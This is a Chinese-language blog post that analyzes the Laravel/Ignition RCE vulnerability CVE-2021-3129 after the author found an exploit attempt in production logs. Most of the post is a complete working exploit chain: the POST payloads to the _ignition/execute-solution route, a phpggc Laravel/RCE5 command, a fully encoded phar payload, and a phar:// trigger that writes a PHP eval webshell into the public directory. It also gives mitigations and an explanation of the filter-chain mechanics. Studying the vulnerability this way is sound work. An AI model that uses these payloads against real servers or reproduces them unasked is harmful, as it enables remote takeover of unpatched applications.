深入理解Laravel(CVE-2021-3129)RCE漏洞(超2万字从源码分析黑客攻击流程)

发布时间 2023-11-21 02:14:26作者: 小松聊PHP进阶

背景

近期查看公司项目的请求日志,发现有一段来自俄罗斯首都莫斯科(根据IP是这样,没精力溯源)的异常请求,看传参就能猜到是EXP攻击,不是瞎扫描瞎传参的那种。日志如下(已做部分修改):

[2023-11-17 23:54:34] local.INFO: 
url      : http://xxx/_ignition/execute-solution
method   : POST
ip       : 109.237.96.251
ua       : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
payload  : {"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"zzzz","viewFile":"php:\/\/filter\/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode\/resource=..\/storage\/logs\/laravel.log"}}
file     : []
header   : {"content-type":"application\/json"}
time     : 38.50
mem      : 20 MB
user_id  : 0
response : ""

还有几个请求日志特别长,需要多个请求一起利用才可Pwn,在此处就不展示了。

临时解决:

发现漏洞时已经是半夜了,考虑到防止公司项目中招又不影响业务。直接封禁了这个莫斯科的IP,并直接在框架的public目录下建立了_ignition/execute-solution目录,因为nginx访问目录的优先级比laravel路由优先级高,再次访问就是403了。
等配置完了,最后发现是虚惊一场,因为项目用了更高的laravel和Ignition版本,生产与测试环境的版本已经是打过补丁的版本了。

有人说世界上的黑客分两种,一种是俄罗斯黑客,一种是其它国家的黑客,黑客千千万,可见俄罗斯黑客的实力。这么好的对抗黑客案例怎么能视而不见,值得挑战,从源码盘它

漏洞利用环境:

Laravel <= v8.4.2,并需要开启debug模式。
Ignition <= 2.5.1。

漏洞成因:

整体:
Ignition组件有路由对外开放,且未做充分的过滤逻辑,在Laravel中利用php://filter协议编码将日志当做phar文件使用,利用phar反序列化漏洞,组成调用链,可生成一句话木马。
关键点:
./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件中的makeOptional中的file_get_contents()参数未进行过滤,参数又是对外的开放的,且run()方法又直接将不安全的数据保存到了文件,部分源码如下:

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']);
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) {
            return false;
        }

        return $newContents;
    }
    
    
    public function run(array $parameters = []) 
    {   
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

危险程度:

可生成一句话木马,利用一句话木马,PHP可以对文件,对数据库,进行各种增删改查操作,相当于服务器沦陷,危险程度可想而知。

漏洞利用复现步骤:

1. 配置具有RCE的环境,并启动项目(需开启Laravel框架debug模式)

git clone https://github.com/laravel/laravel.git
cd laravel
git checkout e849812
composer install
composer require facade/ignition==2.5.1
cp .env.example .env
#使用服务器启动项目或者php artisan serve看个人喜好,我的访问站点是192.168.3.180

2. 发送如下POST请求,如果发现报错,证明前置流程已经走通。

url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
        "variableName": "zzzz",
        "viewFile": "larvel.log"
    }
}

若程序提示ErrorException: file_get_contents(larvel.log): failed to open stream: No such file or directory in file说明环境配置正确。

3. 发送请求,清空日志文件,留出空间用于存放漏洞数据数据

#这一步不能报错,如果报错,请重新再来
url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
	"parameters": {
		"variableName": "zzzz",
		"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
	}
}

4. 发送以下内容,用于日志格式对齐

#这一步报错没关系
url: http://192.168.3.180/_ignition/execute-solution
method: post
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}

5. 使用phpggc生成phar编码后的序列化利用POC(注意路径是定制化的)

#此处的/Host/laravel,实际上是根据之前的报错信息获取的,因为开启了debug模式。
php -d "phar.readonly=0" /test/phpggc/phpggc Laravel/RCE5 "\$c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system(\$c);exec(\$c);shell_exec(\$c);eval('file_put_contents(\"/Host/laravel/public/s.php\", base64_decode(\"PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+\"));');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:]+ '=00' for i in sys.stdin.read()]).upper())"

#将生成出来的poc再次发送给laravel项目,记得将乱码的末尾添加一个a,这一步报错没关系
url: http://192.168.3.180/_ignition/execute-solution
method: post
{
	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
	"parameters": {
		"variableName": "username",
		"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=6B=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=75=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=51=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=43=00=52=00=6A=00=50=00=53=00=64=00=6C=00=59=00=32=00=68=00=76=00=49=00=46=00=42=00=45=00=4F=00=58=00=64=00=68=00=53=00=45=00=46=00=6E=00=57=00=6C=00=68=00=61=00=61=00=47=00=4A=00=44=00=5A=00=32=00=74=00=59=00=4D=00=55=00=4A=00=51=00=56=00=54=00=46=00=53=00=59=00=6B=00=6F=00=79=00=52=00=57=00=35=00=59=00=55=00=32=00=73=00=33=00=53=00=55=00=51=00=34=00=4B=00=33=00=77=00=67=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=49=00=43=00=31=00=6B=00=49=00=44=00=34=00=67=00=4C=00=30=00=68=00=76=00=63=00=33=00=51=00=76=00=62=00=47=00=46=00=79=00=59=00=58=00=5A=00=6C=00=62=00=43=00=39=00=77=00=64=00=57=00=4A=00=73=00=61=00=57=00=4D=00=76=00=63=00=32=00=56=00=79=00=64=00=6D=00=56=00=79=00=4C=00=6E=00=42=00=6F=00=63=00=43=00=63=00=37=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=6C=00=65=00=47=00=56=00=6A=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=7A=00=61=00=47=00=56=00=73=00=62=00=46=00=39=00=6C=00=65=00=47=00=56=00=6A=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=6C=00=64=00=6D=00=46=00=73=00=4B=00=43=00=64=00=6D=00=61=00=57=00=78=00=6C=00=58=00=33=00=42=00=31=00=64=00=46=00=39=00=6A=00=62=00=32=00=35=00=30=00=5A=00=57=00=35=00=30=00=63=00=79=00=67=00=69=00=4C=00=30=00=68=00=76=00=63=00=33=00=51=00=76=00=62=00=47=00=46=00=79=00=59=00=58=00=5A=00=6C=00=62=00=43=00=39=00=77=00=64=00=57=00=4A=00=73=00=61=00=57=00=4D=00=76=00=63=00=79=00=35=00=77=00=61=00=48=00=41=00=69=00=4C=00=43=00=42=00=69=00=59=00=58=00=4E=00=6C=00=4E=00=6A=00=52=00=66=00=5A=00=47=00=56=00=6A=00=62=00=32=00=52=00=6C=00=4B=00=43=00=4A=00=51=00=52=00=44=00=6C=00=33=00=59=00=55=00=68=00=42=00=5A=00=31=00=70=00=59=00=57=00=6D=00=68=00=69=00=51=00=32=00=64=00=72=00=57=00=44=00=46=00=43=00=55=00=46=00=55=00=78=00=55=00=6D=00=4A=00=4B=00=4D=00=6B=00=56=00=75=00=57=00=46=00=4E=00=72=00=4E=00=30=00=6C=00=45=00=4F=00=43=00=73=00=69=00=4B=00=53=00=6B=00=37=00=4A=00=79=00=6B=00=37=00=49=00=47=00=56=00=34=00=61=00=58=00=51=00=37=00=49=00=44=00=38=00=2B=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=6E=00=52=00=68=00=54=00=5A=00=51=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=78=00=70=00=55=00=50=00=36=00=64=00=78=00=54=00=61=00=73=00=5A=00=2B=00=50=00=68=00=55=00=73=00=47=00=31=00=6C=00=44=00=31=00=59=00=79=00=47=00=48=00=4A=00=4D=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a"
	}
}

6. 发送如下数据,清空对log文件中的其它字符,只留下POC(和清空日志的一样)

url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
	"parameters": {
		"variableName": "username",
		"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
	}
}

#如果这一步出错,请重新再来,这一步不能报错,如果报错,下面的流程走不下去。

7. 使用phar协议触发序列化生成一句话木马(注意路径是定制化的)

url: http://192.168.3.180/_ignition/execute-solution
method: post
{
	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
	"parameters": {
		"variableName": "username",
		"viewFile": "phar:///Host/laravel/storage/logs/laravel.log"
	}
}

8. 检测一句话木马存在

此时已经在项目的public目录下,生成了s.php和server.php的一句话木马,内容为

<?php eval($_POST['eval']) ?>

解决方案

  1. 或直接升级laravel和Ignition版本,laravel需要8.4.2以上,Ignition需要2.5.1以上。
  2. 或简单粗暴,或者直接在public目录下创建_ignition/execute-solution目录(千万别让强迫症同事删了,哈哈)。
  3. 或关闭debug模式。
  4. 或在vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php的makeOptional()中临时加入以下代码:
if (! Str::startsWith($path, ['/', './'])) {
    return false;
}
if (! Str::endsWith($path, '.blade.php')) {
    return false;
}
//缺点就是代码库不会被同步,一般情况下vendor下的文件是不推荐修改的。

扩展知识

facade/ignition 扩展作用

是Laravel debug模式下,在程序报错时用于展现漂亮的错误页面的扩展。

为什么要开启debug模式才有下效

vendor/facade/ignition/src/IgnitionServiceProvider.php中设定的路由有前置中间件,调用了vendor/facade/ignition/src/Http/Middleware/IgnitionEnabled.php中间件,中间件对debug配置有验证

php://filter协议是什么

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents()、file_put_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
简单用法案例:

//将字符串base64编码后存入文件
file_put_contents("php://filter/write=convert.base64-encode/resource=example.txt","Hello World");
//从文件中读取数据并base64解码
file_get_contents("php://filter/read=convert.base64-decode/resource=example.txt");

为什么此次攻击要用php://filter?

传入的参数被file_get_contents()接收,file_get_contents()和file_put_contents()支持php://filter协议,起到把转码类型的字符串当做代码来解析的作用。如果传入php函数会被当做字符串去处理,而不会当做代码去执行。毕竟php也不会有这么大漏洞,随便传递php脚本就当做代码执行。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log的技术性作用?

|:相当于linux的管道符号。
write:向数据流中写入数据,后面跟写入的数据流。
resource:要筛选过滤的数据流,参数跟文件路径。
convert:代表做格式转换的关键字。
iconv:转码关键字。
utf-8.utf-16le:utf-8转为utf-16le编码,注意转化后的数据占两个字节,还可能会产生不可打印字符。
quoted-printable-decode:将文本转换为 quoted-printable 格式。Quoted-printable 是一种用于将非 ASCII 字符编码为 ASCII 字符的传输编码方式,可参考PHP的quoted_printable_encode()函数,用来打印不可见字符的,因为utf-8.utf-16le转化之后,utf16-le字符的编码占两个字节,会出现一些不可打印的字符,此时为了防止file_get_contents()加载NULL字节的数据会导致PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line n产生的错误。
base64-decode:顾名思义,base64解码,但要注意,解码过程中会忽略掉非Base64字符的数据。
../storage/logs/laravel.log:被操作的文件。以public/index.php作为参考系。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log为什么会清空日志?

vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件

makeOptional方法中的读操作:
参数接受的是原封不动传递过来的json,只要$parameters['viewFile']参数存在且可访问,那么$originalContents变量就可以获取日志的数据,流程能走到这个阶段,证明读文件没啥问题,此方法后续的代码可以直接跳过。
run方法中的写操作:
参数接受的是原封不动传递过来的json,makeOptional方法是被上方紧挨着的run方法调用,调用makeOptional方法后只要结果不是false,然后就写入文件。

所以这次请求的核心逻辑,提取出来,也就相当于
$file_content = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $file_content);
而且viewFile就是php:\/\/filter\/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode\/resource=..\/storage\/logs\/laravel.log

再次精炼:
$file = "php://filter/write=convert.iconv.utf-8.utf-16le|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=F:/a.txt";
file_put_contents($file, 'text');

再次精炼(移除convert.quoted-printable-decode,照样可清空日志):
file_put_contents("php://filter/write=convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log", 'aaaabbbcc');

转化:
file_put_contents参数1可以理解成file_put_contents('../storage/logs/laravel.log', base64_decode(iconv('utf-16le', 'utf-8', file_get_contents('../storage/logs/laravel.log'))));
当base64_decode函数的操作数据无法解码时会直接忽略,整个日志文件都无法被base64解码,base64只能返回空字符串,也就是内容,php://filter中resource参数是用于定位要操作的文件。
由于没加FILE_APPEND,那么会导致这个函数会清空文件数据后再在追加数据,追加给谁,和追加什么数据,就是刚才说的内容和文件。
file_put_contents参数2参数没追加到文件中,也可能是这个函数机制问题,曾经反复尝试,就是没有执行。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log为什么能在日志中产生符合phar规范的恶意代码?

写入日志的流程同上,就不过多赘述了。
phpggc用来生成laravel反序列化漏洞,而上文使用php命令行生成phar文件,使用python来转码phar文件。
传入请求后, 只要能到file_get_contents()函数,至少传入的恶意代码,是可以写入到日志的,那怕是file_get_contents()报错,因为报错信息会携带编码过的恶意代码保存到日志,这也是能够传入恶意payload的主要原因。
当传入成功之后,进行了一遍quoted-printable-decode,把传入的payload变成了base64的数据,其余的日志不发生变化。然后将utf-16le.utf-8,此时其余的日志文件会发生乱码,但是恶意payload以前已经被转成utf-16le,此时转化为utf-8不会报错,而且能正常解析,到这一步可分离出正常代码与恶意代码。此时恶意payload是base64的,但是其余的乱码字符不是,由于base64的特性,遇到不是非base64字符的会忽略,然后日志文件也就剩下恶意代码了,然后走接下来的file_put_contents流程被写入日志,此时的日志文件已经成为了phar文件,如果使用phar,就可以执行它。

quoted_printable_decode()在本次攻击中的逻辑作用?

清除日志时,这个函数没有什么作用,关键是在向日志中传递恶意payload时,解码传递的payload为base64格式。

第五步时,python命令暗含quoted_printable_encode()的作用?

在第五步时,已经实现了quoted_printable_encode(),目的是为了防止执行file_get_contents()时\00(空字节)报错,为了将不可打印打印出来,转成ascii,也就是转化成“=00”。

convert.iconv.utf-16le.utf-8在本次攻击中的逻辑作用?

作用1:清除日志:quoted_printable_decode()不会对原始日志字符串怎么样,关键是遇到utf-16le转utf-8之后,会把字符转为乱码,而base64解码只会解析base64能够生成的字符,utf16le属于两个字节,甚至存在一些不可打印字符,不属于base64字符的会直接忽略,如果都忽略掉,那么结果就是空字符,file_put_contents()就会清空日志文件。

作用2:生成phar字符串:上文已经说明,就是为了分离,恶意代码与普通日志。

base64_decode在本次攻击中的逻辑作用?

清除原始日志内容,因为原始的日志内容已经经过上一个管道( convert.iconv.utf-16le.utf-8)的转化,变成了乱码,由于base64忽略非base64预定字符的特性,此时再次调用base64解码,可以清空乱码的日志文件,只保留可以被解析的恶意payload。

为什么会有第四步的日志格式对齐?

试过填充两个字母也行,为的是让编码能够更好的对齐,如果没有对齐会导致解析失败。
utf-16le解析是通过2个字节解析的,前面不加东西,某些时候会解析出错,导致整个利用链出错。包括第5步的日志最后加的a也同理。就是为了编码对齐的情况下两个payload故意错位来保证攻击高可用。
因为恶意的payload是嵌入在日志当中的,想要通过各种转码只留下payload,确实需要一些编码对齐的前提下去转码。
在日志重抽象出来,简化一下,可以理解为:
[其它日志内容]PAYLOAD[其它日志内容]PAYLOAD[其它日志内容],
此时有两个payload,其实只要一个payload就行了,但是由于日志内容长度的不确定性,所以在对齐的情况下要互相错位,通俗讲,对齐后,两个payload一个使用偶数字节对齐,一个使用奇数字节对齐,这样可以保证不管解析的哪一个,都能有一个对齐成功,另一个对齐失败。对其成功的就可以正常解析。
这个攻击逻辑是根据日志格式倒推出来的。

第4步和第5步的日志,简化后的日志格式如下:请注意=50=00=...=00a所在位置
[2023-11-19 17:30:07] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at /Host/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/Host/laravel/v...', 75, Array)
#1 /Host/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')
"} 
[2023-11-19 17:30:13] local.ERROR: file_get_contents(=50=00=...=00a): failed to open stream: Invalid argument {"exception":"[object] (ErrorException(code: 0): file_get_contents(=50=00=...=00a): failed to open stream: Invalid argument at /Host/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/Host/laravel/v...', 75, Array)
"} 

或许难以理解,利用bash shell抽象演示一下这个流程:

#模拟输出utf-16le字符后重定向到文件,相当于第4步的日志格式对齐。
#命令说明:echo -n 不输出行尾的换行符。-e 允许对下面列出的加反斜线转义的字符进行解释
echo -ne '[日志]P\0A\0Y\0L\0O\0A\0D\0[日志]P\0A\0Y\0L\0O\0A\0D\0[日志]' > /test/test.txt
#PHP打印,相当于第6步攻击
php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/test/test.txt');"
ꖗ뿥嶗PAYLOADꖗ뿥嶗PAYLOADꖗ뿥嶗
#如果在日志中了追加了任意字符"Q"用来模拟对齐,如下:
echo -ne '[日志]P\0A\0Y\0L\0O\0A\0D\0Q[日志-]P\0A\0Y\0L\0O\0A\0D\0Q[日志]' > /test/test.txt
#那么输出的就只剩下一个payload了。
php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/test/test.txt');"
ꖗ뿥嶗PAYLOAD孑韦鞿偝䄀夀䰀伀䄀䐀儀ꖗ뿥嶗
#但是由于日志内容的不确定性,也许解析的是前面的payload,也有可能是后面的第二个payload。为了保证攻击高可用,所以需要故意错位。

如果没有对齐会发生什么?日志文件太多,还是直接用bash抽象出来:

#故意在头部加了一个A延时没对齐的情况:
echo -ne '[日志]AP\0A\0Y\0L\0O\0A\0D\0[日志]P\0A\0Y\0L\0O\0A\0D\0[日志]' > /test/test.txt
php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/test/test.txt');"
PHP Warning:  file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in Command line code on line 1
Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in Command line code on line 1

什么是phpggc?

开源代码和官方文档
PHPGGC全称PHP Generic Gadget Chains,通用小工具链条。
PHPggc通俗讲就是CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii 和Zend框架的反序列化漏洞利用程序,此工具可以产生漏洞利用的恶意代码。

生成POC时,python -c "import sys;print(''.join(['=' + hex(ord(i))[2:]+ '=00' for i in sys.stdin.read()]).upper())是做什么的?

python -c command命令行模式下运行。
import sys;:导入 Python 的 sys 模块,该模块提供了与 Python 解释器及其环境交互的功能。
sys.stdin.read() 从标准输入读取文本内容。
for i in sys.stdin.read() 循环遍历输入中的每个字符 i。
ord(i) 返回字符 i 的 ASCII 值。
hex(ord(i))[2:] 将 ASCII 值转换为十六进制表示,并去掉开头的 ‘0x’。
=' + hex(ord(i))[2:] + '=00' 组合成 “=ASCII值=00” 的格式。
['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()] 使用列表推导式将每个字符转换成 “=ASCII值=00” 的格式。
''.join() 将转换后的每个字符连接起来。
.upper() 将最终结果转换为大写形式。
print() 输出最终的转换结果。

phar是什么?

官方文档·
phar 扩展提供了一种将整个 PHP 应用程序放入单个叫做“phar”(PHP 归档)文件的方法,以便于分发和安装。 除了提供此服务外,phar 扩展还提供了一种文件格式抽象方法。可以简单的理解为java的jar包,但是两者没有太多的相似性。

什么是phar反序列化?

Phar 反序列化漏洞是一种存在于 PHP 的 Phar 扩展中的安全漏洞,攻击者可以利用该漏洞构造恶意代码并在受害者服务器上执行任意命令。
攻击者利用该漏洞通常需要将构造好的恶意代码先存储在一个经过篡改的 Phar 文件中,然后将该文件传递给目标服务器并进行反序列化操作,从而导致代码的执行。

phar:///Host/laravel/storage/logs/laravel.log流程

phar相当于jar包,所以打开有乱码的情况,所以利用phpggc直接执行(注意此处的路径是自定义的):

php /test/phpggc/phpggc Laravel/RCE5 "\$c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system(\$c);exec(\$c);shell_exec(\$c);eval('file_put_contents(\"/Host/laravel/public/s.php\", base64_decode(\"PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+\"));');"

可查看原始的反序列化字符串:

O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:25:"Illuminate\Bus\Dispatcher":1:{s:16:"*queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;s:4:"load";}}s:8:"*event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{s:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{s:9:"*config";O:35:"Mockery\Generator\MockConfiguration":1:{s:7:"*name";s:7:"abcdefg";}s:7:"*code";s:254:"<?php $c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));'); exit; ?>";}}}

手动格式化后:
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{
	s:9:"*events";
	O:25:"Illuminate\Bus\Dispatcher":1:{
		s:16:"*queueResolver";
		a:2:{
			i:0;
			O:25:"Mockery\Loader\EvalLoader":0:{}i:1;
			s:4:"load";
		}
	}

	s:8:"*event";
	O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{
		s:10:"connection";
		O:32:"Mockery\Generator\MockDefinition":2:{
			s:9:"*config";
			O:35:"Mockery\Generator\MockConfiguration":1:{
				s:7:"*name";
				s:7:"abcdefg";
			}
			s:7:"*code";
			s:254:"<?php $c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));'); exit; ?>";
		}
	}
}

